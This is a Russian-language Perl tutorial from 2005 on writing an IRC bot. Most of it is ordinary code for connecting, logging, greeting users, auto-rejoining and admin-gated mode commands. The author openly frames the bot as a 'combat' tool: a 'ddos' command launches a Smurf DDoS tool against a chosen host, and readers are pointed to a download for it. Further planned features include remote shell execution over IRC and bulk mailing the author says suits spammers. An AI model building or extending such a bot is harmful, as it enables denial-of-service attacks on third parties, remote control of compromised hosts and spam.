Web - кодинг: Perl:


Perl drop for IRC



Источник: Сайт    
                 E-mail  CodePims

Давно хотел поднять эту тему, и вот - поднимаю =) На данный момент существует большое количество различных ботов для IRC - как "заводских" (eggdrop, IRC-drop), так и самописных.. В основном они используются для ведения логов и различных фич, типа голосований, приветствий, etc. Мы же попробуем создать более "боевую" модель. Полных кодов я не буду выкладывать, я распишу лишь некоторые фичи, которые использую я. Бот будет на Perl, т.к. "мало информации в интернете на эту тему" (шутка.. кто знает, тот поймет =)))) На самом деле потому, что perl собран на многих машинах типа Unix, коих в сети великое множество.
Итак, вперед..

Начнем с начала (как это ни странно =):
-----
#!/usr/bin/perl -  # думаю, ясно за чем это =)
use IO::Socket; # модуль, для создания и работы с сокетом
#####Const#####
if (@ARGV < 4) { # работа с командной строкой
print "\nUsage:";
print ".hb.pl    \n"; # выводим всякую хренотень ))
exit(1);
}
$server = $ARGV[0]; # имя сервера
$port = $ARGV[1]; # порт сервера
$chan = $ARGV[2]; # начальный канал
$nick = $ARGV[3]; # ник бота, так же будет идентификатором
$MAX_SIZE = 65000; # для соккета, если не в курсе зачем это, то не меняйте =)
#####
#####ADMIN#####
open(ADMINFILE,"admin.txt"); # эту фичу я нашел в одном самописном боте, 
			  #она использует файл для получения ников админов бота
@admin=; # кидаем список админов в массив
close(ADMIN);
#####
-----
Основные переменные описаны, теперь открытие сокета:
-----
#####Socket#####
$irc=IO::Socket::INET->new
(
PeerAddr => $server, 
PeerPort => $port, 
Proto => "tcp", 
Type => SOCK_STREAM
) || die "Error$@\n";
#####
-----
Идентификация:
-----
#####IDENTIFY#####
$irc->send("NICK $nick\nUSER root 0 * :$nick\r\n") ||
                                                  die "Can't send IDENTIFY data\n";
#####
-----
и заход на канал:
-----
#####Join#####
$irc->send("JOIN $chan\n") || die "Can't join a channel\n";
#####
-----
теперь сам "движок", выглядит он так:
-----
#####MSG#####
while ($irc->recv($msg, $MAX_SIZE)==true) {
# действие - ответ
}
-----
Естественно, что сервер будет посылать запросы типа ping для проверки наличия клиента, поэтому мы должны ему отвечать, иначе - вылет:
-----
#####PING:PONG#####
if ($msg =~ /^PING\s:/) {$irc->send("PONG $server\n") ||
                                                   die "Can't send PONG repply\n";}
#####
-----
Теперь разберем самое интересное =) Это команды и действия нашего бота. Если вы не знаете Perl, то попробуйте прочитать код и понять его (код =)

1. Логирование.
Я достаточно немного возился с этой опцией, поэтому она получилась немного "сыроватой", но, я думаю, суть ее понять вы сможете:
-----
#####LOG#####
$log = sprintf("%04d-%02d-%02d",($tyear+1900),($tmon+1),$tmday).".txt";
                                          # имя лог-файла будет датой старта бота
open(LOG,">>$log") || die "Can't open $log\n";
###ACTION#
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:.ACTION\s(\S.*)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 $5\n";}
###PRIVMSG#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:(\S.*)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $4 $1: $5 \n";} 
###QUIT#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sQUIT\s:(\S.*):\s(\S.*)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 QUIT: $4: $5 \n";}
###NICK#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sNICK\s:(\S.+)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 NICK: $4\n";}
###JOIN#
elsif ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S.+)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] $1 JOIN: $4\n";}
###PING:PONG#
elsif ($msg =~ /^PING\s:(\S.*)/) 
{print LOG "[".sprintf("%02d:%02d:%02d",$thour,$tmin,$tsec)."] PING:PONG\n";}
###OTHER#
else {print LOG "$msg";}
close(LOG);
#####
-----
Повторю, что этот код очень "сырой"..




2. Сообщение при входе.
Ну, тут все просто:
-----
#####WELLCOME#####
###ALL
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:.+$/) 
{$irc->send("NOTICE $1 :.07,01Welcome 2 our channel! .15Channel
                                                            about our life..\n");}
###NAME
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sJOIN\s:(\S+)/) {
	if ($1 eq "Is7d") {$irc->send("PRIVMSG $4 :.07,01 Welcome
	                                                        back, Is7d! \n");}
}
#####
-----



3. Анти-кик.
Теперь представим ситуацию, что бота кикнули..
-----
#####RE-JOIN#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sKICK\s(\S+)\s(\S+)\s:(\S+)/) {
	if ($5 eq $nick) {$irc->send("JOIN $4\n");}
}
#####
-----



4. Стандартные "админские" команды боту:
-----
#####ADMIN_CMD#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####OP#
###+
	if ($5 eq "+op") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 +o $1\n");} 
			else {$irc->send("MODE $4 +o $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
###-
	if ($5 eq "-op") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 -o $1\n");} 
			else {$irc->send("MODE $4 -o $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
#####
#####HALFOP#
###+
	if ($5 eq "+hop") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 +h $1\n");} 
			else {$irc->send("MODE $4 +h $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
###-
	if ($5 eq "-hop") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 -h $1\n");} 
			else {$irc->send("MODE $4 -h $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
#####
#####VOICE#
###+
	if ($5 eq "+voc") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 +v $1\n");} 
			else {$irc->send("MODE $4 +v $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
###-
	if ($5 eq "-voc") {$test=grep /^$1$/, @admin;
		if ($test==1) {
			if ($6 eq "me") {$irc->send("MODE $4 -v $1\n");} 
			else {$irc->send("MODE $4 -v $6\n");}
		} else {$irc->send("PRIVMSG $chan :.04,01You are not admin..\n")}
	}
}
#####
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####PART#
	if ($5 eq "part") {$test=grep /^$1$/, @admin;
		if ($test==1){$irc->send("PART $6\n");}
	}
#####JOIN#
	if ($5 eq "join") {$test=grep /^$1$/, @admin;
		if ($test==1) {$irc->send("JOIN $6\n");}
	}
#####QUIT#
	if ($5 eq "quit") {$test=grep /^$1$/, @admin;
		if ($test==1) {$irc->send("QUIT :$6\n"); exit;}
	}
#####
}
#####
-----



5. Различные стандартные команды:
-----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)/) {
#####HELP#
if ($5 eq "help") {$irc->send("PRIVMSG $1 :.04,01..help is disable..\n");}
#####
#####TIME#
if ($5 eq "time") {$irc->send("NOTICE $1 :.07,01Now is: $time on this host\n");}
#####
}
-----
Теперь вот такие.. Этот код писал не я, да он и не совсем так работает, но тут важен принцип:
-----
if ($msg =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:!!(\S+)\s(\S+)/) {
#####HTTP#
if ($5 eq "http") {
$web=IO::Socket::INET->new(PeerAddr => $6, PeerPort => 80,
                                             Photo => "tcp", Timeout => 1000);
	if($web) {
 $web->send("HEAD / HTTP/1.0\n\n");
 @web=<$web>;
 foreach $fanswer(@web) {
	$fanswer=~s#/# #g; 
	$irc->send("NOTICE $1 :.07,01$fanswer\n")
			}
 close($web);
	}
else {$irc->send("NOTICE $1 : .07,01Can't connect to server $6 port 80\n");}
}
}
#####
-----
Почти так же для ftp, ssh, etc..


Теперь "боевая" фича для Smurf DDoS =)) :
-----
if ($5 eq "ddos") {
system("./smu $6 ips2.txt -P icmp -d $8 -p $7 -S $9 &"); 
}
-----
Разруливать сильно не хочу, да и не к чему.. Это все опять же показывает только принцип.. "Пакет" для smddos лежит в /files/smu.tgz

Здесь я привел пример лишь одной команды, вызывающей атаку на хост, все зависит от ваших идей и их реализации.. Одно милое создание под ником 313х4 уже предложила мне натыкать в моего бота кучу видов атак =F Что я скоро и реализую ))

Я подкину еще идеи, которые я уже реализовал или еще собираюсь реализовать.

1. Удаленное администрирование.
Добавление нового имени в файл с никами админов, после чего необходимо вновь "привязать" массив с админами к файлу.

2. Разделение админов по уровню доступа.
Это реально через split. Т.е. файл админов будет выглядеть примерно так:
-----
Is7d:10000
l0ne_w0lf:7000
GoodWin:8000
-----
Чем больше уровень доступа, тем больше фич будет доступно соотвественно..

3. Вывод помощи (help) соответственно уровню доступа.
Т.е. при высшем уровне выводится хэлп по всем командам и фичам, при среднем уровне - команды, доступные среднему уровню, etc..

4. Удаленный shell.
Например по команде: "!!cmd uname -a" бот выполняет на хосте "uname -a" и присылает вам ответ команды.

5. Рассылка почты.
Это, возможно, пригодится спаммерам. Например после отсылки такой команды: "!!mail maillist.txt::Привет!", бот разошлет через sendmail письма, внесенные в файл "maillist.txt" с содержанием "Привет!"..

Думаю, что принцип показан, для реализации всего, что я задумал нужно лишь 3 вещи - терпение, знание perl и идея (хотя бы маленькая, но идея)..




При перепечатке любого материала с сайта, видимая ссылка на источник www.warayg.narod.ru и все имена, ссылки авторов обязательны.

© 2005
 

Hosted by uCoz